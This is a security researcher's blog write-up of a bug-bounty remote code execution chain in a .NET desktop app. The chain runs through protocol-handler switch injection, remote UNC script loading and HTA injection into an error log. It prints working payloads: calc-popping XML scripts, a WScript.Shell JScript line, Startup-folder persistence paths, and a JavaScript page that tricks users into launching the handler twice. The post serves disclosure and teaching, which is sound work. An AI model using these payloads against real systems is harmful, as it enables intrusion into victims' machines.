Hackerman's Hacking Tutorials

The knowledge of anything, since all things have causes, is not acquired or complete unless it is known by its causes. - Avicenna

Sep 26, 2021 - 16 minute read - Comments - Attack Surface Analysis

Attack Surface Analysis - Part 3 - Resurrected Code Execution

In part 3 of my attack surface analysis series, I will discuss an undisclosed RCE. This bug uses a combination of all tricks introduced in part 2 of the series.

We will see command-line switch injection from a custom protocol handler, loading remote files, reversing a custom scripting engine to instrument the application, and log file injection. Pretty nice chain if I may say so.

Previously on Attack Surface Analysis


We can abuse two similar command-line switches. Each has two parameters. One is an XML file that is a script for the app's internal instrumentation engine (e.g., make the app do things like click buttons) and the second one is an output file that stores the result script's execution.

I found a command named BrowserOpen in the instrumentation engine that takes a URI and runs it with Process.Start(string). This allows us to run any local executable but without parameters. The instrumentation engine can pop calc if it runs this script.

    <BrowserOpen URI="C:/Windows/System32/calc.exe" />

We can abuse get some limited remote code execution in the application because of the following:

  • The application registers a custom protocol handler. We can pass any switch/parameters to the application.
  • The script file can be remote (it's the same for log files but that is not useful here).

I filed two bugs (one for each switch), I could pass a remote file and run an executable without any parameters. Neither was accepted because of this limitation and I almost gave up.

While reading the part 2 of this series, I remembered that if the script contains an error, the output file has the complete line that has caused the error.

This enabled me to use the technique in the Google Web Designer log injection bug to write an HTA to the victim's file system at a location of my choice. Then, I could abuse the same functionality to execute the HTA with a separate protocol handler invocation.

Thus, the RCE was resurrected.


In December 2020 and January 2021, I spent around 100 hours on a program with a .NET thickclient. Programs usually do not have desktop applications in scope so it was a welcome surprise. I ended up submitting five bugs for a total of $8500 (not my greatest payday but good for roughly 100 hours of hunting). Some limited info:

  • Bug #1 - 2K: This was out of scope but I explained how this is an issue and they gave me a bounty.
  • Bug #2 - 2K: I literally asked the security team what they cared about and then went and found it. Open communication helps.
  • Bug #3 - 1.5K: I found the WSDL and it had an API call to create admin users. Normal users could call it.
  • Bug #4 - 1.5K: Similar to the above, I proxied the thickclient and found I could call APIs that I should not.
  • Bug #5 - 1.5K : This one.

Some History

I found two remote code execution bugs in the program. Both were rejected (we will see later why). Initially, I started the previous installment of this series to explain these useless RCEs, but the blog turned into a long review.

I read about the Google Web Designer Command Injection via The Log File bug and realized I can use it to resurrect this bug. This blog will explain how I found this bug, what techniques I used (spoiler: pretty much everything from part 2), why it was initially rejected, and how I resurrected it.

The Original Bug

Without further ado, let's talk about what I initially found.

Protocol Handlers

The program installs four custom protocol handlers. This was obvious because the application launched its tutorial with a URI immediately after installation. E.g., appHandler://-showTutorial [GUID].

Using URLProtocolView by Nirsoft I looked at the command-line for the handlers:

  • C:\Program Files\company\app\app.exe %L

%L is not a common switch. It means "long file name form of the first parameter." Think of it as "a long string that is passed to the app." I am not sure how it is different from %1.

Note the URI handler is not quoted. It doesn't matter here. The app parses the URI and extracts the switches:

  1. Click bleh://-switch1 value1 -switch2 value2 in the browser.
  2. App is executed as app.exe bleh://-switch1 value1 -switch2 value2.
  3. App extracts the switches and runs as app.exe -switch1 value1 -switch2 value2.

Command-Line Switches

If we find a vulnerable command-line switch in such an app, we can launch a remote attack using the protocol handler.

Running the app with some dummy switches (e.g., app.exe --whatever) displayed a usage dialog with a list of switches. I realized the app has hidden switches that are not shown because this list did not include the showTutorial switch that I had seen before.

Fortunately, this was a .NET app. I started debugging it with dnSpy. The main binary and some DLLs were obfuscated but I was looking for specific strings. While debugging, I saw the app compares switches from input against a list of valid ones.

Every computer science problem can be reduced to string comparison.

Parsia Self quote (lol)

This was done in System.Core.dll > namespace System.Linq. By putting a breakpoint in the following function, I could see every valid switch in the value of source:

public static TSource FirstOrDefault<TSource>(this IEnumerable<TSource> source, Func<TSource, bool> predicate)
    if (source == null)
        throw Error.ArgumentNull("source");
    if (predicate == null)
        throw Error.ArgumentNull("predicate");
    foreach (TSource tsource in source)
        if (predicate(tsource)) // BREAKPOINT HERE!!!
            return tsource;
    return default(TSource);

The app had 55 switches and the usage string only showed 30. In such situations, you need to carefully examine each "hidden switch" because they might do something naughty. I discovered three that were promising. One was used to bypass a client-side protection (not related to this bug). The other two resulted in this RCE. They look like this (obviously fake names):

  • -script scriptSource.xml output.xml
  • -debug  scriptSource.xml output.xml server username password

They both do the same thing:

  1. debug tries to log in to the server with username:password.
  2. Both, process and run scriptSource.xml.
  3. Both, store the output of the script in output.xml. E.g., a success message or errors if any.


debug tries to log in to the server before doing anything. If it is not successful, the script is not executed. I realized the app does not really do anything after sending the login request and thinks it has logged in after receiving some canned responses. I set up a local Python3 server to simulate a login and the app was tricked into thinking it has completed the login sequence. We can create our own dummy server and pass it in the parameters to make this work.

After the login, both switches are the same so I will use -script for the rest of the post.

Output File

This output file is really useful. It contains the result of the script's execution. E.g., if I passed an empty file like app.exe -script empty.xml output.txt, I would get this helpful error in output.txt:

Script Failed:
  System.Xml.XmlException: Root element is missing.
   at System.Xml.XmlTextReaderImpl.Throw(Exception e)
   at System.Xml.XmlTextReaderImpl.ParseDocumentContent()
   at System.Xml.Linq.XDocument.Load(XmlReader reader, LoadOptions options)
   at System.Xml.Linq.XDocument.Load(String uri, LoadOptions options)
   at [redacted]

Current Step:

This means the script needs to be an XML file. Although, we already knew that from the usage string for this switch (the extension of the file was xml in the example).

Loading Remote Files

I wanted to see if the app accepts UNC paths. I passed a non-existing UNC path to it and saw this error in the output file that confirmed my theory:

System.IO.IOException: The network path was not found.
  at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
  at System.IO.FileStream.Init(String path, FileMode mode, FileAccess access,
    Int32 rights, Boolean useRights, FileShare share, Int32 bufferSize,
    FileOptions options, SECURITY_ATTRIBUTES secAttrs, String msgPath,
    Boolean bFromProxy, Boolean useLongPath, Boolean checkHost)
  at System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share)
  at [redacted]

Both files for these two switches can be remote.

Custom Script

The scriptSource file is passed to the custom scripting engine of the application. We can use this to instrument the application. That is how the app's tutorial walks the users through a simple workflow. We can use it to perform actions in the application (e.g., click buttons). I passed a dummy XML file to see how it behaves (mainly to see the error in the output file).

    <child />

And I got this error:

Script Failed:
    System.InvalidOperationException: Unknown tag: Root
   at [redacted]

Current Step:

This stack trace pointed me to the location where the app was checking the root tag. I put a breakpoint in the chain and debugged the app with dnSpy, I was able to find the expected name of the root tag (remember what I said about reducing every problem to string comparison?). Let's call the root tag MyRoot.

private void runCommands(XDocument nfc)
    // Code Removed
    // Check if the root tag is named "MyRoot"
    if (nfc.Root.Name.ToString() != "MyRoot)
        // If not, return an error.
        XName name = nfc.Root.Name;
        throw new InvalidOperationException(...);
    // If the root tag is MyRoot, continue.
    foreach (XElement xelement in nfc.Root.Elements())
        // parse each child tag

        // a very long switch/case structure that compares the name of each
        // child tag with the command names.

Turns out the format of the XML file is very simple. Each command is a separate child of the root tag. Something like this:

    <Cmd1 />
    <Cmd2 />

Discovering the name of the commands (e.g., Cmd1) was another string comparison problem. I already knew where the root tag was compared so I could continue debugging from that point. The engine had 22 possible commands.

I realized the scripting engine is used to instrument the app without user interaction. For example, there was a command named TutorialButtonClick.


I went through all the commands but most resulted in a crash. Until I got to BrowserOpen (fake name again). The following code executes this tag. It checks if the tag has a URI attribute. If so, it's converted to a URI and passed to the Runtime.Instance.Open method:

// The original code was obfuscated so I renamed some variables to make it easier to read.
private void runBrowserOpen(XElement command)
    // Get the value of the "URI" attribute.
    tempURI = command.GetAttribute("URI");
    // If the value of the "URI" is not null, do the following.
    if (tempURI != null)
        Runtime.Instance.Open(new Uri(attribute));

So our XML should look like this:

    <BrowserOpen URI="something" />

The input must satisfy the Uri(input) constructor. If there is an error, execution is stopped and the app prints a stack trace and error line to the output file.

The Open method does this.

public virtual void Open(Uri uri)
    catch (Exception ex)
        // Handle the exception.

OpenFileOrUrl (below) is straightforward and has a programming bug (see if you can spot it). If the platform is not Windows, it calls Process.Start("open", URI). I am not sure if this line is also vulnerable to command injection or not. The app is only available on Windows so I did not look into it.

On Windows, the app first checks if the incoming URI has the http or https scheme with IsPathForBrowser. If not, it calls Process.Start(URI).

private void OpenFileOrUrl(string pathOrUri)
    if (Runtime.IsOSPlatform(OSPlatform.Windows))
            // This checks if the scheme is http or https.
            if (!IsPathForBrowser(pathOrUri))
        catch (Exception exception)
            // Handle exception
        // This is executed if the scheme is http or https. E.g., if we pass a URL.
        // This will open the URL in the system's default browser.
        Process.Start("explorer.exe", pathOrUri.SurroundedInQuotes());
    // If the OS is not Windows, run this one.
    Process.Start("open", pathOrUri);

If this call raises an exception (e.g., if the file does not exist) we get a second chance. The app runs explorer.exe "URI". This is the programming bug, the exception handler should return and not give us this extra try. Depending on the payload, explorer.exe does something. E.g., explore.exe https://example.net opens the website in the default browser.

Popping Calc

We can do command injection here without any parameters. I have created a REPL at https://dotnetfiddle.net/o1mCnT if you want to see the transformation.

using System;
public class Program
    public static void Main()
        Uri baseUri = new Uri("C:/Windows/System32/calc.exe");

This is the main constraint. The string must get converted to a Uri. More, this is the overload with only one parameter. The second parameter is dontEscape, deprecated and set to false by default.

We do not need to use the file:/// scheme for local files. We can use the Implicit File Path Support and skip it. This is not part of the URI specification and it does not matter here (we can pass any scheme), but it's a good point to remember in case you see something in the future. This means all of the following are converted to file:///C:/Windows/System32/calc.exe.


This script will pop calc (we can replace it with any other local executable).

    <BrowserOpen URI="C:/Windows/System32/calc.exe" />

RCE: Rejected Code Execution

So far we know we can:

  1. Pass command-line switches to the app from the browser.
  2. Use a script file to run calc or any other local executable.
  3. Pass remote scripts via UNC paths to the app.

This means we can get some code execution.

  1. Create a script file like the one above in a remote share (e.g., \\IP).
  2. Run the app from the browser with these parameters:
    1. appHandler://-script \\IP\popcalc.xml \\IP\output.txt
  3. User clicks on the link in the browser and allows the app to run.
  4. App runs calc.

I have documented how I created a public remote file share in the cloud to host the remote script. It lets you host files at \\IP\path\to\file using a static IP in an Amazon EC2 machine for less than 5 USD a month.

I submitted this bug but it was rejected because I could run any local executable but couldn't pass parameters. We cannot execute remote files by using UNC paths, either. I could also pass schemes like ms-calculator:// (pops calc) but I could not find any scheme in Windows that let me execute an arbitrary command and pass parameters (that would be a pretty nasty Windows 0day). I will write a separate blog post about my adventures there. I have some drafts that need more research to become a blog post.

Here's a small console program if you want to experiment. Pass what you want as the first argument and see what you can execute.

TavisO's Similar Bug

At this point, I was trying to figure out how to bypass this. I even asked TavisO about https://bugs.chromium.org/p/project-zero/issues/detail?id=693. He answered within hours. Thanks, mate.

His bug is about a localghost server. TrendMicro's Password Manager had a local node.js server that was vulnerable to remote code execution. Websites could talk to the local server and run local executables like this:

  • https://localhost:49155/api/openUrlInDefaultBrowser?url=c:/windows/system32/calc.exe

The openUrlInDefaultBrowser API is almost the exact replica of what we are working with here. We can pass local files but no parameters.

RCE: Resurrected Code Execution

While writing part two I was fascinated by the Google Web Designer bug rgod could inject text into a log file at a chosen local path. They injected JScript into an HTA in the administrator's startup directory and got remote code execution.

My Spidey senses started tingling. I could do the same. Let's review the vulnerable command-line switches:

  • -script scriptSource.xml output.xml
  • -debug  scriptSource.xml output.xml server username password

So far, we have only looked at the script file. The second parameter is output.xml. This is just a normal text file and can be a local path that we can choose. It stores the output of the script. Let's see what we can inject in it. I passed an XML file with the correct root tag but a script tag from rgod's proof-of-concept:

    <script>var x=new ActiveXObject("WScript.Shell");x.Exec("calc.exe");</script>

And then run the app:

  • appHandler://-script resurrected-test-injection.xml resurrected-test-output.hta

The output file contains the stack trace and the exact line with the error as-is. BINGO!!1!!

Script Failed:
    System.InvalidOperationException: Unknown tag: script
   at [redacted]

Current Step:
    <script>var x=new ActiveXObject("WScript.Shell");x.Exec("calc.exe");</script>

The application does not recognize the script tag (it's not one of the commands) and helpfully prints the complete line with the error. If I double click the HTA file that I just injected then calc starts.

Injected HTA executed Injected HTA executed

A huge advantage of this method over the previous is being able to pass parameters. E.g., the following is a very convoluted way of showing a second command prompt that does not close after execution. I actually spent an hour trying to make this happen (lol):

x.Exec("cmd.exe /k start cmd.exe /k echo 'hello world'").


We can use rgod's method. They injected the HTA into the administrator's startup directory. I could do something similar with:

appHandler://-script resurrected-test-injection.xml

This has some limitations. We need to know the username of the target or the user must be local admin (not necessarily the Administrator user because other local admins can write to that path, too).

I tried using the %username% environment variable and passed C:/Users/%username%/AppData/Roaming/Microsoft/Windows/STARTM~1/Programs/Startup/injected.hta for the output file but the app did not resolve the environment variable. It did not work here but might work in another app so it's good to know.

Environment variable error Environment variable error

I felt like I had a good proof-of-concept, but I wanted to do more. I can execute single binaries on the file system, why not inject the HTA in one command then execute it with another? Something like:

appHandler://-script \\IP\resurrected-exploit-1.xml C:/ProgramData/app/inject.hta

Where resurrected-exploit-1.xml is:

    <script>var x=new ActiveXObject("WScript.Shell");x.Exec("calc.exe");</script>
    <BrowserOpen URI="C:/ProgramData/app/inject.hta">

The first line injects the HTA and the second line exploits it, pretty nifty, eh? WELL, one big issue. The execution is stopped after the first error. The HTA is written to the file system but the BrowserOpen line is never executed :(

What if we invoke the app twice on the same web page? Instead of having two commands in one script we can have two different scripts (one injects and the second executes).

appHandler://-script \\IP\inject-HTA.xml C:/ProgramData/app/inject.hta

The script just injects the HTA:

    <script>var x=new ActiveXObject("WScript.Shell");x.Exec("calc.exe");</script>

The second execution runs the injected HTA.

appHandler://-script \\IP\run-HTA.xml \\IP\did-it-execute.txt

The script executes the injected HTA and writes the output to our shared server (optional).

    <BrowserOpen URI="C:/ProgramData/app/inject.hta">

We can do this on one HTML page with JavaScript. Assigning the protocol handler URI to window.location is the same as clicking it.

1. window.location=String.raw`appHandler://-script \\IP\inject-HTA.xml C:/ProgramData/app/inject.hta`
2. User needs to click allow. The app runs. HTA is injected.
3. Wait 10 seconds and then show an alert popup.
4. window.location=String.raw`appHandler://-script \\IP\run-HTA.xml \\IP\did-it-execute.txt`
5. User clicks allow. The app runs. HTA is executed
6. ???
7. Profit

The user needs to click Allow to run the app twice but chances are the user will think the app did not launch properly. We can show an alert box after the execution to claim the execution was not successful and we will try again to trick the user into doing it again.

Source: My Nintendo Power Glove manual Source: My Nintendo Power Glove manual

User Gesture Required

This also has the advantage of bypassing Chromium "user gesture required" errors. In short, after the first protocol handler, the user must do something other than clicking allow otherwise, the second protocol handler does not start and we see this error in the console Not allowed to launch 'appHandler://blah' because a user gesture is required.

Alesandro was kind enough to explain it to me on Twitter (expand the whole thread).

What Did We Learn Here Today?

  1. Read other people's bugs. It seems like everything I do is essentially a mix of public bugs.
  2. User gesture stuff in Chromium.
  3. Implicit File Path Support which allows us not to include the file:/// scheme and let the library transform it to the local path.
  4. %username% and %appdata% environment variables are useful if the app resolves them.